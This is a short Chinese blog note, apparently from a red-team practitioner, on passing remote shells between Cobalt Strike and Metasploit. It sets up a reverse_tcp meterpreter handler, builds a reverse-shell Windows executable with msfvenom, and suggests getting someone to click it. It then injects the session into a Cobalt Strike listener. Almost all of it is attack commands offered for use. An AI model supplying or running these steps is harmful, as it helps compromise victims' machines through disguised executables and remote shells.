1 、cs spwan to msf shell
cs创建监听器
- payload：Foreign HTTP
msf 监听反弹shell
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
2、msf to cs shell
- 获取shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=prot -f exe > xxx.exe
- 监听，邀请小伙伴点击，上线
- 反弹shell到cs
msf6 > use exploit/windows/local/payload_inject
set[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) > set lhost xxx
msf6 exploit(windows/local/payload_inject) > set lport xxx（cs的）
msf6 exploit(windows/local/payload_inject) > ser session x
msf6 exploit(windows/local/payload_inject) > run
转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论，也可以邮件至 yoyo@ulan.uk
